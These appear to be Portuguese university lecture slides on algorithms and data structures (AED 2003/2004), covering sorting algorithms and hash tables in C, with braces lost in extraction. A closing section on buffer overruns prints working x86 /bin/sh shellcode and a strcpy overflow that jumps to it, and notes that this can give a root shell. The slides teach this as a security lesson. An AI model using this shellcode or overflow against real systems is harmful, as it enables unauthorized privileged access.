sort(a, 0, N-1);
for (i = 0; i < N; i++) printf("%3d ", a[i]);
printf("\n");
Exemplo: AED 2003/2004 – p.448/554
Selection Sort
void selection(Item a[], int l, int r)
int i, j;
for (i = l; i < r; i++)
int min = i;
for (j = i+1; j <= r; j++)
if (less(a[j], a[min])) min = j;
exch(a[i], a[min]);
Exemplo:
AED 2003/2004 – p.449/554
Selection Sort
A cada passo, escolher o menor entre os r − l − i + 1maiores elementos.
Para cada valor de i do primeiro ciclo, segundo ciclo éexecutado r − i vezes
Tempo de execução:
Comparações: N2/2, trocas: N
No pior caso é O(N2), com N = r − l
No melhor caso, é O(N2), com N = r − l
Algoritmo é estavel
i.e. ordem relativa de chaves duplicadas é mantida
AED 2003/2004 – p.450/554
Insertion Sort
void insertion(Item a[], int l, int r)
int i;
for (i = l+1; i <= r; i++) compexch(a[l], a[i]);
for (i = l+2; i <= r; i++)
int j = i; Item v = a[i];
while (less(v, a[j-1]))
a[j] = a[j-1]; j--;
a[j] = v;
Exemplo:
AED 2003/2004 – p.451/554
Insertion Sort
Primeiro ciclo coloca menor valor na posição l, o qualdepois serve como sentinela
reduz constantes do segundo ciclo
Para cada i, os primeiros i elementos ficam ordenados
Tempo de execução:
No pior caso, é O(N2), com N = r − l, i.e. vector jáordenado por ordem inversaNo melhor caso é O(N), com N = r − l, i.e. vector jáordenado
Algoritmo é estável
AED 2003/2004 – p.452/554
Bubble Sort
void bubble(Item a[], int l, int r)
int i, j;
for (i = l; i < r; i++)
for (j = r; j > i; j--)
compexch(a[j-1], a[j]);
Exemplo:
AED 2003/2004 – p.453/554
Bubble Sort
Para cada valor de i no primeiro ciclo, segundo ciclo éexecutado r − i + 1 vezes
Para cada valor de i, algoritmo assegura que valor finalna posição i é o valor certo para a posição i apósvector ordenado
Tempo de execução:No pior caso é O(N2), com N = r − l
No melhor caso é O(N2), com N = r − l
Algoritmo é estável
AED 2003/2004 – p.454/554
Comparação
Pior caso
Selection Insertion BubbleComparações N2/2 N2/2 N2/2
Trocas Chaves N N2/2 N2/2
Caso médio
Selection Insertion BubbleComparações N2/2 N2/4 N2/2
Trocas Chaves N N2/4 N2/2
AED 2003/2004 – p.455/554
Comparação [2]
Tabelas com poucos elementos fora de ordemInsertion e Bubble sort são quase linearesos melhores algoritmos de ordenação podem serquadráticos
Contexto onde elementos são grandes e chavespequenas
Selection é linear no número de dadosN dados com tamanho M (palavras/words)custos: comparação - 1 unidade; troca - M unidadesN2/2 comparações e NM custo de trocastermo NM domina - custo proporcional ao temponecessário para mover os dadosAlternativa: uso de ponteiros
AED 2003/2004 – p.456/554
Avaliação Experimental
N Selection Insertion Bubble1000 5 4 112000 21 15 454000 85 62 182
AED 2003/2004 – p.457/554
Shell Sort – Introdução
Insertion sort é lento: trocas ocorrem apenas entreitems adjacentes
se o menor item está no final da tabela, serãoprecisos N passos para o colocar na posiçãocorrecta
Shellsort:acelerar o algoritmo permitindo trocas entreelementos que estão afastados
AED 2003/2004 – p.458/554
Shell Sort – Definições
Vector diz-se h-ordenado se qualquer sequência denúmeros separados por h posições está ordenada
Vector é equivalente a h sequências ordenadasentrelaçadas
Vector 1 15 2 16 3 17 4 18 5 19 está 2-ordenado
O resultado de h-ordenar um vector que esták-ordenado, é um vector que está h-ordenado ek-ordenado
AED 2003/2004 – p.459/554
Shell Sort – Ideia
Rearranjar os dados de forma a que estejamh-ordenados
Usando valores de h grandes é possível moverelementos na tabela distâncias grandes o que tornamais fácil h-ordenar mais tarde com h pequenos
usando este procedimento para qualquer sequênciade h’s que termine em 1 produz no fim uma tabelaordenadacada passo torna o próximo mais simples
AED 2003/2004 – p.460/554
Shell Sort – Algoritmo
void shellsort(Item a[], int l, int r)
int i, j, h;
for (h = 1; h <= (r-l)/9; h = 3*h+1) ;
for ( ; h > 0; h /= 3)
for (i = l+h; i <= r; i++)
int j = i; Item v = a[i];
while (j >= l+h && less(v, a[j-h]))
a[j] = a[j-h]; j -= h;
a[j] = v;
Primeiro ciclo for gera sequência: 1 4 13 40 121 3641093 3280 ...
Segundo ciclo for é executado para os valores de h porordem inversa
AED 2003/2004 – p.461/554
Shell Sort – Funcionamento
Operação (vector com tamanho 100):Para cada valor de h, 40, 13, 4, 1:
Utilizar insertion sort para criar hsub-vectores ordenados dentro de vector comtamanho 100· Vector fica h-ordenadoPara h = 40 existem 40 sub-vectores ordenados,cada um com 2/3 elementosPara h = 13 existem 13 sub-vectores ordenados,cada um com 7/8 elementos...Para h = 1 existe 1 (sub-)vector ordenado, com100 elementos
AED 2003/2004 – p.462/554
Shell Sort – Exemplo
void shellsort(Item a[], int l, int r)
int i, j, h;
for (h = 1; h <= (r-l)/9; h = 3*h+1) ;
for ( ; h > 0; h /= 3)
for (i = l+h; i <= r; i++)
int j = i; Item v = a[i];
while (j >= l+h && less(v, a[j-h]))
a[j] = a[j-h]; j -= h;
a[j] = v;
Exemplo:
AED 2003/2004 – p.463/554
Escolha da Sequência de Ordenação
Questão difícil de responder
Propriedades de muitas sequências já foram estudadas
Possível provar que umas melhores que outrasex: 1, 4, 13, 40, 121, 364, 1093, 3280, ... (Knuth,3*hant+1)melhor que 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, ...(Shell, 2i ) Porquê?mas pior (20%) que 1, 8, 23, 77, 281, 1073, 4193,(4i+1 + 3 2i + 1)
Na prática utilizam-se sequências que decrescemgeometricamente para que o número de incrementosseja logarítmico
a sequência óptima ainda não foi descoberta
AED 2003/2004 – p.464/554
Shell Sort – Complexidade
Análise do algoritmo é desconhecida
Complexidade depende da sequência de valores hutilizada:
Sequência 1, 4, 13, 40, 121, 364, 1093, ...O(N3/2) comparações
Sequência 1, 8, 23, 77, 281, 1073, 4193, ...O(N4/3) comparações
Sequência 1, 2, 3, 4, 6, 9, 8, 12, 18, 27, 16, 24, ...O(N(log N)2) comparações
AED 2003/2004 – p.465/554
Avaliação Experimental – Shell Sort
N O K G S P I12500 16 6 6 5 6 625000 37 13 11 12 15 1050000 102 31 30 27 38 26
100000 303 77 60 63 81 58200000 817 178 137 139 180 126
O: 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, ...
K: 1, 4, 13, 40, 121, 364, ...
G: 1, 2, 4, 10, 23, 51, 113, 249, 548, ...
S: 1, 8, 23, 77, 281, ...
P: 1, 7, 8, 49, 56, 64, 343, 392, 448, 512, ...
I: 1, 5, 19, 41, 109, 209, 505, 929, ...AED 2003/2004 – p.466/554
Utilização de Listas – Interface
typedef struct node *link;
struct node Item item; link next; ;
link NEW(Item, link);
link init(int);
void show(link);
link sort(link);
AED 2003/2004 – p.467/554
Utilização de Listas – Selection Sort
link listselection(link h)
link max, t, out = NULL;
while (h->next != NULL)
max = findmax(h);
t = max->next; max->next = t->next;
t->next = out; out = t;
h->next = out;
return(h);
A cada passo retira máximo elemento de lista actual, ecoloca no topo da nova lista
AED 2003/2004 – p.468/554
Parte XIII
Sedgewick, Cap. 7-10
AED 2003/2004 – p.469/554
Algoritmos Eficientes de Ordenação
Quick Sort
Merge Sort
Heap Sort
Utilizar informação das chaves:Counting SortRadix Sort
AED 2003/2004 – p.470/554
Quick Sort - Introdução
Inventado nos anos 60 por A.R. Hoare
Vantagensmuito estudado e analisadopopular devido à facilidade de implementação eeficiência:
O(NlgN ), em média, para ordenar N objectosciclo interno muito simples e conciso
Inconvenientesnão é estável; O(N2) no pior caso!frágil : qualquer pequeno erro de concretizaçãopode não ser detectado mas levar a ineficiência
Biblioteca C fornece uma concretização - qsort
AED 2003/2004 – p.471/554
QuickSort [2]
Aplica método dividir para conquistar para ordenar
Ideia chave: efectuar partição dos dados e ordenar asvárias partes independentemente (de forma recursiva)
particionar os dados: menores para um lado,maiores para outrousar recurção e aplicar algoritmo a cada uma daspartesprocesso de partição é crítico
evitar partições degeneradas
AED 2003/2004 – p.472/554
QuickSort - Partição
Recebe vector a e a parte do vector a ordenar - [l, r]
Rearranja os elementos do vector de forma a que astrês condições seguintes sejam válidas (de a[l] a a[r]):
o elemento a[i], para algum i, fica na sua posiçãofinalnenhum dos elementos em a[l]...a[i − 1] é maior doque a[i]
nenhum dos elementos em a[i + 1]...a[r] é menor doque a[i]
processo coloca pelo menos um elemento na suaposição final (Qual?)
Após partição, a tabela fica sub-dividida em duaspartes que podem ser ordenadas independentementeaplicando o mesmo processo
AED 2003/2004 – p.473/554
QuickSort - Concretização [1]
Ordenação realizada através de partição + aplicaçãorecursiva do algoritmo aos dois subconjuntos de dadosdaí resultantes
void quicksort(Item a[], int l, int r)
int i;
if (r <= l)
return;
i = partition(a, l, r);
quicksort(a, l, i-1);
quicksort(a, i+1, r);
AED 2003/2004 – p.474/554
QuickSort - Concretização [2]
int partition(Item a[], int l, int r)
int i, j;
Item v;
v = a[r];
i = l-1;
j = r;
for (;;)
while (less(a[++i], v)) ;
while (less(v, a[--j]))
if (j == l)
break;
if (i >= j)
break;
exch(a[i], a[j]);
exch(a[i], a[r]);
return i;
AED 2003/2004 – p.475/554
QuickSort – Complexidade [1]
Ineficiente se vector já ordenado (pior caso)
cerca de N2/2 comparações
Demonstração: se o ficheiro já estiver ordenado, todasas partições degeneram e o programa chama-se a sipróprio N vezes;o número de comparações é deN + (N − 1) + (N − 2) + ... + 2 + 1 = (N + 1)N/2 (mesmasituação se o ficheiro estiver ordenado por ordeminversa)
Não apenas o tempo necessário para a execução doalgoritmo cresce quadraticamente como o espaçonecessário para o processo recursivo é de cerca de N oque é inaceitável para vectores grandes
AED 2003/2004 – p.476/554
QuickSort – Complexidade [2]
Melhor caso: quando cada partição divide o vector deentrada em duas metades iguais
número de comparações usadas por quicksortsatisfaz a recursão de dividir para conquistarCN = 2C(N/2) + N
solução : CN = NlgN (vimos numa aula anterior)
Propriedade: QuickSort usa cerca de 2NlgNcomparações em média
AED 2003/2004 – p.477/554
QuickSort - Melhoramentos [1]
Algoritmo pode ainda ser melhorado com alteraçõestriviais
ordenação de sub-vectores de pequenas dimensõespode ser efectuada de forma mais eficiente
natureza recursiva de QuickSort garante que umafracção grande dos sub-vectores terão tamanhopequeno
como escolher correctamente o elemento departição?
aleatoriamentemédia de vários elementos
Como melhorar o desempenho se os dados tiveremum grande número de chaves repetidas?
AED 2003/2004 – p.478/554
Melhoramento Vectores Pequenos
QuickSort é garantido instanciar-se a si própriomúltiplas vezes para vectores pequenos!
Conveniente utilizar o melhor método possível nestasituação
Insertion sort
Solução: algoritmo híbrido: (bom método em geral)
Usarif (r-l <= M) insertion(a, l, r); return; em vez deif (r <= l) return;
AED 2003/2004 – p.479/554
Merge Sort
Item aux[maxN];
merge(Item a[], int l, int m, int r)
int i, j, k;
for (i = m+1; i > l; i--) aux[i-1] = a[i-1];
for (j = m; j < r; j++) aux[r+m-j] = a[j+1];
for (k = l; k <= r; k++)
if (less(aux[i], aux[j]))
a[k] = aux[i++]; else a[k] = aux[j--];
void mergesort(Item a[], int l, int r)
int m = (r+l)/2;
if (r <= l) return;
mergesort(a, l, m);
mergesort(a, m+1, r);
merge(a, l, m, r);
AED 2003/2004 – p.480/554
Merge Sort – Complexidade
Tempo de execução:
TN = TbN/2c + TdN/2e + O(N)
= O(N log N)
Fácil de verificar quando N é potência de 2, e no casogeral recorrendo a indução
Complexidade pior caso é O(N log N)
É estável
AED 2003/2004 – p.481/554
Merge Sort – Bottom-Up
#define min(A, B) (A < B) ? A : B
void mergesortBU(Item a[], int l, int r)
int i, m;
for (m = 1; m < r-l; m = m+m)
for (i = l; i <= r-m; i += m+m)
merge(a, i, i+m-1, min(i+m+m-1, r));
AED 2003/2004 – p.482/554
Merge Sort com Listas
link merge(link a, link b)
struct node head; link c = &head;
while ((a != NULL) && (b != NULL))
if (less(a->item, b->item))
c->next = a; c = a; a = a->next;
else
c->next = b; c = b; b = b->next;
c->next = (a == NULL) ? b : a;
return head.next;
link mergesort(link c)
link a, b;
if (c->next == NULL) return c;
a = c; b = c->next;
while ((b != NULL) && (b->next != NULL))
c = c->next; b = b->next->next;
b = c->next; c->next = NULL;
return merge(mergesort(a), mergesort(b));
AED 2003/2004 – p.483/554
Heap Sort
#define pq(A) a[l-1+A]
void heapsort(Item a[], int l, int r)
int k, N = r-l+1;
for (k = N/2; k >= 1; k--)
fixDown(&pq(0), k, N);
while (N > 1)
exch(pq(1), pq(N));
fixDown(&pq(0), 1, --N);
AED 2003/2004 – p.484/554
Heap Sort – Complexidade
Construção do amontoado (ciclo for):O(N log N) no pior caso
É possível assegurar O(N)
Colocação das chaves (ciclo while):O(N log N) no pior caso
Complexidade pior caso é O(N log N)
Não é estável
AED 2003/2004 – p.485/554
Avaliação Experimental
N Quick Merge Heap12500 2 5 325000 7 11 850000 13 24 18
100000 27 52 42200000 58 111 100400000 122 238 232800000 261 520 542
AED 2003/2004 – p.486/554
Ordenação por Comparação
Algoritmos de ordenação baseados em comparaçõessão Ω(n log n)
Para n chaves existem n! ordenações possíveis daschavesAlgoritmo de ordenação por comparação utilizacomparações de pares de chaves para seleccionaruma das n! ordenações
Escolher uma folha em árvore com n! folhasAltura da árvore é não inferior log(n!) = Ω(n log n)
É possível obter algoritmos mais eficientes desde quenão sejam baseados em comparações:
Utilizar informação quanto às chaves utilizadasCounting SortRadix Sort
AED 2003/2004 – p.487/554
Counting Sort – Motivação
Ordenar N = r − l + 1
Chaves podem tomar valor entre 0 e M − 1
Se existem k0 chaves com valor 0, então ocupam asprimeiras k0 posições do array final, 0 a k0 − 1
Se existem k1 chaves com valor 1, então ocupam asposições k0 a k0 + k1 − 1 posições do array final
...
Necessário vectores auxiliares para guardar contagense para construir array ordenado
AED 2003/2004 – p.488/554
Counting Sort: Os Passos
Usa vector auxiliares cnt[M + 1] e b[maxN ]
Passo 1 - inicializa cada posição de cnt a 0
Passo 2Para cada posição i de a cnt[a[i] + 1] + +
No fim, cada posição i de cnt tem o número devezes que a chave i − 1 aparece em a
Passo 3 - Acumula em cada elemento de cnt oselementos anteriores: cnt[i] indica a posição ordenadado primeiro elemento com chave i
Passo 4 - Guarda em b os valores de a ordenados:b[cnt[a[i]]++] = a[i]
Passo 5 - Copia b para a
AED 2003/2004 – p.489/554
Counting Sort I
void distcount(int a[], int l, int r)
int i, j, cnt[M+1];
int b[maxN];
for (j = 0; j <= M; j++) cnt[j] = 0;
for (i = l; i <= r; i++) cnt[a[i]+1]++;
for (j = 1; j < M; j++) cnt[j] += cnt[j-1];
for (i = l; i <= r; i++) b[cnt[a[i]]++] = a[i];
for (i = l; i <= r; i++) a[i] = b[i];
AED 2003/2004 – p.490/554
Counting Sort – Características
Complexidade em tempo de execuçãoDois ciclos relativos à dimensão das chaves M
Três ciclos relativos às N chavesComplexidade: O(N + M)
Estável
Não é in-place
Pode suceder que tamanho maxN maior que N
AED 2003/2004 – p.491/554
Counting Sort II
void distcount(int a[], int l, int r)
int i, j, cnt[M];
int b[maxN];
for (j = 0; j < M; j++) cnt[j] = 0;
for (i = l; i <= r; i++) cnt[a[i]]++;
for (j = 1; j < M; j++) cnt[j] += cnt[j-1];
for (i = r; i >= l; i--) b[--cnt[a[i]]] = a[i];
for (i = l; i <= r; i++) a[i] = b[i];
Diferenças??Definição do valor cnt[j]Estabilidade do algoritmo ??
AED 2003/2004 – p.492/554
Radix Sort – Definições
Chaves - sequências de bits que definem número baseR
Radix sort - considera um dígito da chave de cada vez
#define bitsword 32
#define bitsbyte 8
#define bytesword 4
#define R (1 << bitsbyte)
#define digit(A, B) (((A) >> (bitsword-((B)+1)*bitsbyte)) & (R-1))
Para strings:
#define digit(A, B) A[B]
AED 2003/2004 – p.493/554
Radix Sort I – MSD
Começando no dígito mais significativo, considerarcada n-ésimo dígito e ordenar vector usando apenasesse dígito
Realização: Para cada dígito, do de maior peso para ode menor peso:
Colocar chaves em M caixas (uma para cada valorpossível)Ordenar elementos de cada caixa utilizando dígitossubsequentesSe número de elementos não superior a M , utilizarinsertion sort
AED 2003/2004 – p.494/554
Radix Sort I – MSD
#define bin(A) l+count[A]
void radixMSD(Item a[], int l, int r, int w)
int i, j, count[R+1];
if (w > bytesword) return;
if (r-l <= M) insertion(a, l, r); return;
for (j = 0; j < R; j++) count[j] = 0;
for (i = l; i <= r; i++)
count[digit(a[i], w) + 1]++;
for (j = 1; j < R; j++)
count[j] += count[j-1];
for (i = l; i <= r; i++)
aux[l+count[digit(a[i], w)]++] = a[i];
for (i = l; i <= r; i++) a[i] = aux[i];
radixMSD(a, l, bin(0)-1, w+1);
for (j = 0; j < R-1; j++)
radixMSD(a, bin(j), bin(j+1)-1, w+1);
Memória adicional?AED 2003/2004 – p.495/554
Radix Sort II – LSD
Utilizar dígitos, do menor peso para o maior peso:Ordena vector usando counting sort para cada dígito
for tea tag acetip ace tar agoilk fee caw caw
tag wee ace feeace tag tea forfee ilk fee ilk
ago ago wee tagcaw tip ago tar
tar for tip teatea tar ilk tip
wee caw for weeAED 2003/2004 – p.496/554
Radix Sort LSD
void radixLSD(Item a[], int l, int r)
int i, j, w, count[R+1];
for (w = bytesword-1; w >= 0; w--)
for (j = 0; j < R; j++) count[j] = 0;
for (i = l; i <= r; i++)
count[digit(a[i], w) + 1]++;
for (j = 1; j < R; j++)
count[j] += count[j-1];
for (i = l; i <= r; i++)
aux[count[digit(a[i], w)]++] = a[i];
for (i = l; i <= r; i++) a[i] = aux[i];
Aplicável apenas a chaves tamanho fixo
AED 2003/2004 – p.497/554
Eficiência dos Radix Sorts
Radix SortTempo de execução cresce com número de bytesdos elementos a ordenar
MSD Radix SortPode ser sublinear na quantidade total deinformação das chaves
LSD Radix SortO(N · w/ log R), para chaves com w bits
mais preciso: O(w/b(N + 2b)). Mínimo ocorre parab = 0.83lgNEspaço adicional: R contadores e vector comtamanho N
AED 2003/2004 – p.498/554
Avaliação Experimental
4 bytes 8 bytes 16 bytesN Quick MSD LSD MSD LSD LSD
12500 2 7 11 28 4 525000 5 14 21 29 8 850000 10 49 43 35 18 15
100000 21 77 92 47 39 30200000 49 133 185 72 81 56400000 102 278 377 581 169 110800000 223 919 732 6064 328 219
AED 2003/2004 – p.499/554
AED 2003/2004 – p.500/554
Parte XIV
Sedgewick, Cap. 14
AED 2003/2004 – p.501/554
Tabelas de Dispersão
Funções de dispersão
Encadeamento externo
Procura linear
Double hashing (dispersão dupla)
Eficiência da procura
AED 2003/2004 – p.502/554
Tabelas de Dispersão
Funções de dispersão
Encadeamento externo
Procura linear
Double hashing (dispersão dupla)
Eficiência da procura
AED 2003/2004 – p.502/554
Tabelas de Dispersão
Funções de dispersão
Encadeamento externo
Procura linear
Double hashing (dispersão dupla)
Eficiência da procura
AED 2003/2004 – p.502/554
Tabelas de Dispersão
Funções de dispersão
Encadeamento externo
Procura linear
Double hashing (dispersão dupla)
Eficiência da procura
AED 2003/2004 – p.502/554
Tabelas de Dispersão
Funções de dispersão
Encadeamento externo
Procura linear
Double hashing (dispersão dupla)
Eficiência da procura
AED 2003/2004 – p.502/554
Tabelas de Dispersão - Introdução
Concretização do ADT Tabela de SímbolosNão percorre estrutura de dados comparando achaveUsa a chave para obter endereço da tabela
Operações eficientes: STinsert, STdelete e STsearch
Operações ineficientes: STselect e STsort
AED 2003/2004 – p.503/554
Função de dispersão - I
Transforma a chave num inteiro [0,M − 1] (M tamanhoda tabela)
Definicao: Colisão - ocorre quando a função dedispersão devolve o mesmo valor para chaves distintas
Definicao: Função de dispersão ideal: A probabilidadede ocorrer uma colisão para duas chaves distintas é1/M .
AED 2003/2004 – p.504/554
Funções de dispersão - II
Deve distribuir as chaves de forma uniforme e quasealeatória
Deve ser rápida de calcular
Deve envolver todos os bits da chave
Diferentes funções devem ser usadas para diferentestipos de dados
Cadeias de caracteresInteirosReais
AED 2003/2004 – p.505/554
Funções de dispersão para números
hash(k) = k mod M
M deve ser um primo, para evitar colisões (e.g., M=256é muito mau)
Para reaisEscalar para a gama [0,1.0]Multiplicar por 2w, para obter um inteiro de w bits, k
Obter hash(k) = k mod M
AED 2003/2004 – p.506/554
Função de dispersão para strings
Calcula uma soma ponderada dos carateres
Soma é feita módulo M
M deve ser um primo, para evitar colisões
int hash(char *v, int M) int h = 0, a = 127;for (; *v != ’\0’; v++)
h = (a*h + *v) % M;return h;
AED 2003/2004 – p.507/554
Função de dispersão para strings II
Recalcula a base em cada iteração
Evita anomalias com chaves altamente regulares
int hashU(char *v, int M) int h, a = 31415, b = 27183;for (h = 0; *v != ’\0’; v++, a = a*b % (M-1))
h = (a*h + *v) % M;return h;
AED 2003/2004 – p.508/554
Resolução por encadeamento externo
Cada posição da tabela tem um ponteiro para uma lista
Colisões são resolvidas juntando o elemento ao inícioda lista
Apagamentos são resolvidos apagando o elemento dalista
70 14 707
72
19 75
0
1
2
3
4
5
6
Ordem de inserção: 707, 72, 14, 70, 75, 19
hash(k) = k mod 7
AED 2003/2004 – p.509/554
Resolução por encadeamento externo
static link *heads, z;
static int N, M;
void STinit(int max)
int i;
N = 0; M = max/5;
heads = malloc(M*sizeof(link));
z = NEW(NULLitem, NULL);
for (i = 0; i < M; i++) heads[i] = z;
Item STsearch(Key v)
return searchR(heads[hash(v, M)], v);
void STinsert(Item item)
int i = hash(key(item), M);
heads[i] = NEW(item, heads[i]); N++;
void STdelete(Item item)
int i = hash(key(item), M);
heads[i] = deleteR(heads[i], item);
AED 2003/2004 – p.510/554
Eficiência das tabelas de dispersão
Resolução externa (listas ligadas)
Comprimento médio das listas é N/M
A probabilidade de o número de chaves numa lista sermaior ou igual a tα é de (αe
t )te−α onde α = NM .
Se α = 20, a probabilidade de uma uma lista ter maisde 40 items é 0.0000016.
AED 2003/2004 – p.511/554
Resolução por procura linear
Em vez de uma lista ligada, guarda elementos naprópria tabela
Obriga a conhecer em avanço o número máximo deelementos: (M > N )
Se a posição k estiver ocupada, guarda o item naposição seguinte livre (linear probing).
hash(k) = k mod 7
0
1
2
3
4
5
6
70
14
72
77
19
75
ORDEM DE INSERÇAO: 70, 72, 14, 77, 19, 75
AED 2003/2004 – p.512/554
Resolução por procura linear
#include <stdlib.h>
#include "Item.h"
#define null(A) (key(st[A]) == key(NULLitem))
static int N, M;
static Item *st;
void STinit(int max)
int i;
N = 0; M = 2*max;
st = malloc(M*sizeof(Item));
for (i = 0; i < M; i++) st[i] = NULLitem;
int STcount() return N;
void STinsert(Item item)
Key v = key(item);
int i = hash(v, M);
while (!null(i)) i = (i+1) % M;
st[i] = item; N++;
AED 2003/2004 – p.513/554
Resolução por procura linear
Resolução de conflitos: se a posição correspondenteao índice devolvido pela função de dispersão estiverocupada, incrementar o índice até encontrar primeiraposição livre.
Item STsearch(Key v)
int i = hash(v, M);
while (!null(i))
if eq(v, key(st[i])) return st[i];
else i = (i+1) % M;
return NULLitem;
AED 2003/2004 – p.514/554
Remoção de Items
Após achar o item, coloca-se a posição a NULL
Reinserem-se todos os items que se seguem, até àpróxima posição vazia
void STdelete(Item item)
int j, i = hash(key(item), M); Item v;
while (!null(i))
if eq(key(item), key(st[i])) break;
else i = (i+1) % M;
if (null(i)) return;
st[i] = NULLitem; N--;
for (j = i+1; !null(j); j = (j+1) % M, N--)
v = st[j]; st[j] = NULLitem; STinsert(v);
AED 2003/2004 – p.515/554
Eficiência das tabelas de dispersão
Solução por procura linear
α = N/M tem de ser menor que 1.
Número de operações necessário para achar um itemé:
Hits: 12(1 + 1
1−α)
Misses: 12(1 + 1
(1−α)2 )
Número de operações cresce rapidamente quandoα → 1.0
α 0.5 0.667 0.75 0.9hit 1.5 2.0 3.0 5.5
miss 2.5 5.0 8.5 55.5
AED 2003/2004 – p.516/554
Resolução por double hashing
Guarda elementos na tabela, como na procura linear
Usa outra técnica pra resolver conflitosEm vez de procurar em sequência, usa umasegunda função de hashing para determinar oincrementoIncremento deve ser maior que 0 e primorelativamente ao tamanho da tabelaDiminui o número de operações relativamente àprocura linearOperações só se tornam demasiado lentas quandoo factor de carga atinge o valor 90% - 95%
AED 2003/2004 – p.517/554
Resolução por double hashing
void STinsert(Item item)
Key v = key(item);
int i = hash(v, M);
int k = hashtwo(v, M);
while (!null(i)) i = (i+k) % M;
st[i] = item; N++;
Item STsearch(Key v)
int i = hash(v, M);
int k = hashtwo(v, M);
while (!null(i))
if eq(v, key(st[i])) return st[i];
else i = (i+k) % M;
return NULLitem;
AED 2003/2004 – p.518/554
Eficiência das tabelas de dispersão
Solução por double hashing
α = N/M tem de ser menor que 1.
Número de operações necessário para achar um itemé:
Hits: 1α ln( 1
1−α)
Misses: 11−α
Número de operações cresce mais lentamente quandoα → 1.0
α 0.5 0.667 0.75 0.9hit 1.4 1.6 1.8 2.6
miss 1.5 2.0 3.0 5.5
AED 2003/2004 – p.519/554
Tabelas de Dispersão Dinâmicas
Carga da tabela aumenta - custo de inserção e procuraaumenta
tabela esparsa (ou encadeamento externo) -aumento é gradualtabela não esparsa - aumento incomportávelprocura linear e dispersão dupla - carga máxima 1
Solução: duplicar tamanho da tabela quando esta ficameio cheia
No entanto, duplicação tem custo altomas, é pouco frequente
AED 2003/2004 – p.520/554
Solução dinâmica para procura linear
void expand();
void STinsert(Item item)
Key v = key(item);
int i = hash(v, M);
while (!null(i)) i = (i+1) % M;
st[i] = item;
if (N++ > M/2) expand();
void expand()
int i; Item *t = st;
init(M+M);
for (i = 0; i < M/2; i++)
if (key(t[i]) != key(NULLitem))
STinsert(t[i]);
free(t);
AED 2003/2004 – p.521/554
Tabelas de Dispersão - Conclusão
Vantagens:Concretizam operações de inserção e procura emtempo constante (caso médio)
procura linear - a mais rápida (tabela esparsa)dispersão dupla - melhor compromissotempo/memóriaencadeamento externo - mais fácil de concretizar,maior carga mas pior uso de memória
Inconvenientesnão há garantia de desempenhocusto de função de dispersão alto se chaves longasocupam mais memória do que necessário (BST tb)não suportam eficientemente as operações deordenação e selecção
AED 2003/2004 – p.522/554
Parte XV
Tópicos Finais
AED 2003/2004 – p.523/554
Tópicos Finais
Hacking em CBuffer Overruns...
Concursos de ProgramaçãoIOCCCXP@IST / MIUP / SWERC ACM-ICPC
AED 2003/2004 – p.524/554
Buffer Overruns
O C não verifica os limites dos arrays
É possível alterar posições de memória fora dasposições de um array
É possível alterar código ou executar outro códigoutilizando esta possibilidade
É por vezes possível ter acesso a uma shell comprivilégios de root
AED 2003/2004 – p.525/554
Buffer Overruns – Exemplo
void function(int a, int b, int c)
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12; /* aceder ao endereco de retorno... */
(*ret) += 8; /* alterar o endereco de retorno... */
void main()
int x;
x = 0;
function(1,2,3);
x = 1; /* instrucao nao executada... */
printf("%d\n",x);
Num Pentium II o resultado escrito é 0...AED 2003/2004 – p.526/554
Acesso a Shell
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main()
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
AED 2003/2004 – p.527/554
Buffer Overrun com Acesso a Shell
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main()
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
AED 2003/2004 – p.528/554
Buffer Overruns
É possível efectuar o overflow de outro programa eexecutar um nosso que nos dá uma shell
É possível conseguir executar uma shell como root
AED 2003/2004 – p.529/554
IOCCC
International Obfuscated C Code ContestExemplos de código imperceptível, comfuncionalidade complexaPéssimos exemplos de qualidade da programação;mas bons exemplos das potencialidades do C (e dosprogramadores!)
AED 2003/2004 – p.530/554
Exemplo I – Maze
#define r return
char*u0="<RET> to begin... ",*u1="Already been here!",*u2="Found a wall! \
",*u3="Walking... ",*u4="Finished. ",*u5="Going back..\
. ",*o="\033[23;1HDone!!\n",*x="\033[2J",*y="\033[1;1H",*z="\033[%d;%\
dH%c",*w="\033[1;1H%s",*v="\033[%d;%dH%c\033[%d;%dH%c\033[%d;%dH%c",
b[1841];int c,d,e,f,g;typedef int(*h)();h i,j,k,l,m,n;int printf(),
srand(),rand(),time(),getchar();int main(int a)i=printf,j=srand,
k=rand,l=time,m=getchar,n=main;if(!c)for(j(l(0)),g=a=1000,--d;++d<1840;
b[c=d]=" #\n"[d%80==79?2:d/80&&d%80&&d/80-22&&d%80-78]);if(!(c-1839))++c,
i("%s%s%s",x,y,b);k:if(!(c-1840)&&(b[a+2]+b[a-2]+b[a+160]+
b[a-160]-4*’ ’))while(b[a+(f=(e=k()%4)?e-1?e-2?-1:1:-80:80)*2]!=
’#’);b[a]=b[a+f]=b[f+a+f]=’ ’;i(v,a/80+1,1+a%80,’ ’,(a+f)/80+1,1+
(a+f)%80,’ ’,(f+a+f)/80+1,1+(f+a+f)%80,’ ’);n(f+a+f);goto k;
else if(!(g-a))c=1,a=162,i(w,u0),m();if(c-1)else r b[a]!=’ ’?
(i(w,b[a]==’.’?u1:u2),0):(b[a]=’.’,i(w,u3),i(z,a/80+1,1+a%80,’.’),
a==1676?(i(w,u4),i(o),1):n(a+1)||n(a+80)||n(a-80)||n(a-1)?1:
(b[a]=’ ’,i(w,u5),i(z,a/80+1,1+a%80,’ ’),0));r 0;
AED 2003/2004 – p.531/554
Exemplo II – Factoriais
#include <stdio.h>
#define l11l 0xFFFF
#define ll1 for
